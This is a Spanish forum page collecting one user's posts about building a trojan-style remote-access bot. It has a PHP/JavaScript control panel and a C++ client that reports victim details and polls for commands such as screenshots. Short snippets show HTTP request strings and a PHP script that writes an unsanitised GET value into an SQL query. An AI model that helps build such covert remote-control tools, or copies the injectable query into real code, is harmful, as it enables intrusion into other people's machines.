Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Vaagish

#561
CitarEntonces estamos hablando de programación web

En realidad si,, y no.. el servidor si es web,, pero el cliente es C++,, como no sabia en que lugar quedaba mejor (si en desarollo web o programacion C++) lo puse aca..  :silbar:

Citaraunque en realidad yo no necesite ninguna console no sé a que te refieres.

la cosa es asi,, no es fundamental la consola,, podría poner botones en la pagina que muestra las conexiones activas y textboxes para ingresar los comandos,, pero me parecía mas pro que los comandos se enviaran desde la consola JS,, digamos, mas "old school",, se abre una consola (en chrome: control + alt + j) y ahi se introducen los comandos,, un javascript se encarga de procesar esos comandos y hacer lo que tenga que hacer.. por ejemplo, ya tengo algunos,, si abrís la consola y escribís: fullscreen() se abre la lista de conexiones en pantalla completa,, si pones refr() se refresca la lista de conexiones,, si pones help() sale la ayuda..

Bueno,, después en programación c++ voy a poner partes del cliente para poder optimizarlo lo mayor posible..

Saludos!!
#562
Era justamente eso, termine haciendo una función ayer y probar para sacarme la duda,, gracias igual!!

Saludos!!
#563
Na,, pero es que.. el cliente se comunica con el server mediante HTTP,, ejemplo:

Código (cpp) [Seleccionar]

char HTTPStr[37] = "POST /Proyectos/RAT/php/Process.php?";
char HTTPEnd[34] = "HTTP/1.1\nhost: localhost\r\n\r\n";


y en el medio le envio el mensaje que quiera al server..
La consola es para enviarle la información al cliente.. supongamos que quiero un screenshot del cliente con ip 127.0.0.1 (o sea yo mismo), entonces abro la consola JS y pongo: send("127.0.0.1","screenshot"), eso lo que haría seria poner en la base de datos la tarea para ese cliente,, luego el cliente revisa si tiene tareas para hacer,, hace la tarea y se borra (la tarea) de la base de datos..

esta bien ese proceso? porque puede resultar un poco engorroso de programar..

Saludos! Leo opiniones..
#564
SEE... es un bot, pero no quería poner nombres técnicos para no marear a los mas despistados!! jejeje
Habia pensado justamente eso,, (en base a Flu) bueno,, la cosa es asi,, cada unos 30 seg, el cliente manda un request "pidiendo la tarea",, en el caso de que tenga tareas pendientes, un scipt php se la envía,, el cliente hace lo que tiene que hacer y luego se elimina la tarea de la BD..

Yo no he usado bots,, pero he echo varios troyanos simples,,
Se suele utilizar la consola del navegador para interactuar con el panel de control? A mi me pareció una innovacion (capaz que esta re gastado, pero bue,,)

PD: Creo que lo mas dificil va a ser enviar archivos de un lado al otro.. no me imagino poniendo un archivo binario en la base de datos para que el cliente la reciba..  :o
#565
Buenas amigos!! Hoy les voy a mostrar mi nuevo proyecto (y pedir algunos consejos). Bueno, les cuento,, la idea es hacer un "troyano" estilo zeus.. el servidor es WEB y el cliente esta echo en C++.. he aqui unas imagenes:



Como se puede ver en la imagen, la ventana de conexiones es "draggable"..



La lista de conexiones se actualiza SIN refrescar la pagina...



Podemos cambiar el Theme a eleccion!



Y aca una prueba que es en C++ :D



Voy a aclarar que las "ordenes" se van a dar desde la consola javascript (porque a muchos les gusta "la vieja escuela" ) :P

ahora,, lo importante.. el asunto es este.. el cliente que se conecta (el programa C++) en realidad lo que hace es enviar un request al servidor, le envia la ip, el nombre de la maquina, el SO y el pais (configuración del teclado),, esa informacion la junto con PHP y la inserto en la base de datos.. el problema es que en realidad no tengo una "conexion",, entonces la duda viene por este lado.. como le podria enviar informacion al cliente??? desde mi panel de control digamos (que es la consola javascript de google chrome).

Listo no la hago mas larga para no aburrir,, pero hay cuerda para rato con esto.. hay que hacerle un monton de cosas...

Saludos!!!
#566
Felicitaciones!! Esta muy prolija!! Suerte!!
#567
Buenas!! Traigo una consulta rápida.. se puede enviar (strings e integers) desde la consola de google chrome a un script javascript y responder a la consola (por ejemplo con console.log) o procesar esa información y hacer alguna otra cosa??

Saludos!
#568
Lo que nunca entendi bien es como se gana dinero con una botnet,, haciendo ataques de DDOS y cobrandolos?? Robando las tarjetas de credito? y despues que? vas a buscar la plata al banco para ser filmado por todas las camaras? No creo..  :silbar:
#569
Buenas amigos!! Quería contarles que al final lo solucione de otra manera,, una versión económica para quien no pueda acceder a SQL Remoto.. al final las "consultas" son HTTP,, ustedes se preguntaran ¿de que habla este bolu**?

Es simple:

Código (cpp) [Seleccionar]

char *Request = "POST HTTPRequest/index.php?dato=hola HTTP/1.1\nhost: localhost\r\n\r\n";


Esa es la consulta que hace C++, previamente conectado con sockets al servidor..

Código (php) [Seleccionar]

// Incluimos a conexion
include("Conex.php");
$Conex = Connection();

echo "\n\rLoaded\n\r";

$Var1 = $_GET['dato'];

if($_GET){
$Result = mysqli_query($Conex, "INSERT INTO pruebat (valor) VALUES ('$Var1');");
}


Ese es el script php que se encarga de recibir la información y colocarla en la base de datos.. todo esto esta dentro de un marco teórico.. se puede recuperar información de la base de datos y enviarla al programa c++ todo con peticiones HTTP.. O sea,, se puede hacer todo lo mismo como si fuera una conexión SQL,, solo que hay que programar mas.. pero sirve en todos los servidores web sin que nos cobren 10 veces mas por mes!!

Saludos! Espero que le sirva a alguien algún día.. jeje
#570
Bueno, ya averigüe.. solo un servidor dedicado me brinda el servicio de SQL remoto, (lo cual, obviamente tiene un coste muucho mayor..) Así que ahora tengo que ir buscando otro hosting (barato) con SQL remoto,, igual si saben de algun metodo para conectar con SQL sigue pendiente..

Gracias!!